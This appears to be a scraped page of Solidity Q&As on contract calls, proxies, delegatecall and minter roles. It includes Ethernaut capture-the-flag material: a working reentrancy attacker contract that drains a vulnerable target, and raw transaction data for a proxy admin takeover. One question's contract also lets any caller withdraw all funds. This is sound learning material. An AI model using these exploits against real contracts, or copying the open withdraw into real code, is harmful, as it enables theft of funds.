I have a deployed contract "greeter" in Ethereum
contract mortal {
address owner;
function mortal() { owner = msg.sender; }
function kill() { if (msg.sender == owner) selfdestruct(owner); }
}
contract greeter is mortal {
string greeting;
function greeter(string _greeting) public {
greeting = _greeting;
}
function greet() constant returns (string) {
return greeting;
}
}
And I want to create another contract, which will call function "kill" from my first contract. The main idea is that this 2 contracts is different. I publish contract A and then publish contract B, which calls A.
How I can do that?
Something like this, but from contract...
var contract = web3.eth.contract(contractAddress, ABI);
contract.call().kill();
Approximately like this, but there's a catch.
pragma solidity ^0.4.6;
contract Mortal {
address owner;
function Mortal() { owner = msg.sender; }
function kill() { if (msg.sender == owner) selfdestruct(owner); }
}
contract Greeter is Mortal {
string greeting;
function Greeter(string _greeting) public {
greeting = _greeting;
}
function greet() constant returns (string) {
return greeting;
}
}
contract Killer {
function destroyVictim(address victim) {
Greeter g = Greeter(victim);
g.kill();
}
}
That's a basic syntax. The ABI gets picked up by including Greeter in the source file along with Killer; that is, the compiler can "see it".
So far, so good.
The issue that arises is that Greeter is going to ignore the command, owing to if(msg.sender==owner). It won't be. It will be whatever address Killer got.
A possible solution to this before Greeter is deployed is to anticipate the need for a changeOwner() function, usually reserved for only the current owner.
Hope it helps.
Related
I'm trying to solve the reentrancy attack ethernaut challenge.
Here is the solidity code for the target contract:
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
My plan is to:
Donate to the Reentrance contract from another contract.
Call the withdraw function from inside a function in the contract I created as well as from the fallback function in my contract. The goal is to execute
(bool result,) = msg.sender.call{value:_amount}("");
enough times to empty the Reentrance contract's balance while skipping the code underneath.
Here's what my contract looks like:
contract interactor{
address public target=0xd9145CCE52D386f254917e481eB44e9943F39138;
uint32 public i = 0;
constructor() payable {}
function calldonate(address _to,uint val) public payable
{
target.call{value:val}(abi.encodeWithSignature("donate(address)", _to));
}
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
fallback() external payable {
i++;
require(i<target.balance);
msg.sender.call(abi.encodeWithSignature("withdraw(uint256)", 1));
}
}
After deploying the two contracts in Remix, I'm unable to empty the Reentrance contract's balance. The variable i never reaches target.balance-1.
I can't see what's wrong with my code (very new to Solidity).
Any help would be appreciated.
a few changes in your Interactor contract
1-
Instead of hardcoded target address, pass it in constructor. so deploy the Reentrance in case you need to have clean state variables
address public target;
uint32 public i = 0;
constructor(address _target) payable {
target=_target;
}
2- In calldonate function I added require for debuggin
bytes memory payload=abi.encodeWithSignature("donate(address)",_to);
(bool success,)=target.call{value:val}(payload);
// just for debugging purpose
require(success,"target.call failed");
3- call calldonate function. send 10 wei, since you are withdrawing 1 wei, otherwise Remix will crust. I think to address must be the interceptor address itself. since in Reentract contract, balances mapping is updated with the msg.value you have to enter amount in the value as in the image
successfully sent 10 wei, balance is updated
4- you have to update the fallback function. .call method did not work I think that is because of call is a safe function. (or I had some bugs). so I updated the fallback
fallback() external payable {
i++;
require(i<target.balance,"error here");
// msg.sender.call(abi.encodeWithSignature("withdraw(uint)",1));
// target.call(abi.encodeWithSignature("withdraw(uint)",1));
Reentrance(payable(target)).withdraw(1);
}
5- callwithdraw function signature should be updated. Reentrance contract passes uint but you are uint256
function callwithdraw() public
{
target.call(abi.encodeWithSignature("withdraw(uint)",1));
}
6- call callwithdraw function. Because you have this logic inside fallback
// when i=5, targetBalance would be 5
i++;
require(i<target.balance);
after you called it and check the balances you should see 5 left.
I got a little confused when trying to solve this level and I got even more confused when I read this solution.
I thought that the contract object loaded in the browser console was the PuzzleWallet contract, because when I look at its ABI, there are all the functions from that contract and none from the PuzzleProxy. And the PuzzleWallet does not inherit from any other contract. I don't understand how it is possible to call proposeNewAdmin() function from the PuzzleProxy contract, if it does not inherit from PuzzleProxy...
On the other hand, if the contract object in the browser console is the PuzzleProxy, why there are all the functions from the PuzzleWallet in the ABI and none from the PuzzleProxy?
Here is the Ethernaut level.
The contracts are:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "#openzeppelin/contracts/math/SafeMath.sol";
import "#openzeppelin/contracts/proxy/UpgradeableProxy.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
admin = _admin;
}
modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
using SafeMath for uint256;
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
The contract.abi object on the browser console is:
I understand the concept of proxy patterns. But I thought that it would be done via delegatecall() functions. For example, the addToWhiteList() function on the PuzzleWallet contract would be called by a function as follows on the PuzzleProxy contract:
function addToWhitelist(address _add) external {
puzzleWalletAddress.delegatecall(abi.encodeWithSignature("addToWhitelist(address)", _add);)
}
Hopefully my question here is not as confusing as I got while trying to solve this level :)
Appreciate very much if anyone coould help me! Thanks!
I also got confused by the same thing :)
The answer is that they created the Web3 contract object with the ABI of the logic contract but with the address of the proxy contract so you can interact with the logic as if there wasn't a proxy pattern under the hood.
In reality it is calling the proxy contract with the data of a function of the logic contract. As the function doesn't exist in the proxy, its fallback function runs and redirects the call to the logic contract via delegatecall.
So if you want to call proposeNewAdmin() in the proxy, call the contract mounted in the console (aka the proxy contract) but instead of using any function from the ABI defined there (which is the logic abi), make a generic transaction calling proposeNewAdmin(). As the function does exist in the proxy, it won't trigger the fallback.
web3.eth.abi.encodeFunctionSignature("proposeNewAdmin(address)");
> '0xa6376746'
web3.eth.abi.encodeParameter("address", player);
> '0x000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942'
contract.sendTransaction({ data: '0xa6376746000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942' });
I made this contract:
pragma solidity ^0.4.25;
contract MyTransfer {
address owner;
uint data;
uint private amount;
string greeting = "Hello World";
constructor() public {
owner = msg.sender;
}
function greet () constant public returns (string) {
return greeting;
}
function deposit() public payable {
amount += msg.value;
}
function withdraw() public {
msg.sender.transfer(amount);
}
function kill () public {
require(owner == msg.sender);
selfdestruct(owner);
}
}
Compile and deploy successfully finished.
Then on truffle develop console.
mt = MyTransfer.at(MyTransfer.address);
>mt.greet();
works
>mt.deposit(1);
Error: Invalid number of arguments to Solidity function
How can I make transfer on truffle console?
It is not working because your deposit() function is not waiting for any params. You need to send some value with your transaction in order for it to work. Try this:
mt.deposit({value: 'the amount of ether you want to send'});
I am a newbie studying Uniswap V3's github code. I came up with noDelegateCall.sol and I found out the way to prevent a contract to be delegatecalled from another cotract. As I tried to implement this, I caught up with the problem.
pragma solidity >0.8.0;
contract Receiver {
string greeting = "Hello";
address private immutable original;
event Greeting(string greeting, address original, address addressThis);
constructor() {
original = address(this);
}
function checkNotDelegateCall() private view {
require(address(this) == original);
}
modifier noDelegateCall() {
checkNotDelegateCall();
_;
}
function greet() external noDelegateCall {
emit Greeting(greeting, original, address(this));
}
}
contract Sender {
string greeting = "Hi";
function delegatedGreeting(address _contract) external {
(bool success,) = _contract.delegatecall(
abi.encodeWithSignature("greet()")
);
}
}
If I call function delegatedGreeting, I expect the function to be reverted because variables original and address(this) differs. However, although it emits an empty event, it still doesn't reverts. Why does this happen?
When the low-level delegatecall reverts, it doesn't automatically revert the main transaction. Instead, it returns false as the first return value of the delegatecall() function.
So you need to check the return value (in your case bool success) and validate that.
function delegatedGreeting(address _contract) external {
(bool success,) = _contract.delegatecall(
abi.encodeWithSignature("greet()")
);
require(success == true, "delegatecall failed");
}
I am using the openzeppelin for creating the ICO contract. I am concerned about the MinterRole here. After I develop Token contract, I added the sale contract as a minter using "addMinter" function.
Question
After the sale is over
I do not see a way to remove the contract address as a minter. I see that "renounceMinter" will remove only the person's who is calling this method.
I understand even If I remove (or) not remove the contract address as a minter at that point (i.e., after the sale is over) the Sale contract will b defined in such a way that it will not work at all. is it safe even if we leave the contract address in the minter list ?
Why openzeppelin has designed the "MinterRole" contract with the "renounceMinter" function that can remove only the person who is calling that contract but the function "addMinter" can do this for others also ?
Code
SampleCrowdsale
contract SampleCrowdsale is FinalizableCrowdsale, MintedCrowdsale
MintedCrowdsale
contract MintedCrowdsale is Crowdsale {
constructor() internal {}
function _deliverTokens(
address beneficiary,
uint256 tokenAmount
)
internal
{
// Potentially dangerous assumption about the type of the token.
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount));
}
}
ERC20Mintable
contract ERC20Mintable is ERC20, MinterRole
MinterRole
pragma solidity ^0.4.24;
import "../Roles.sol";
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}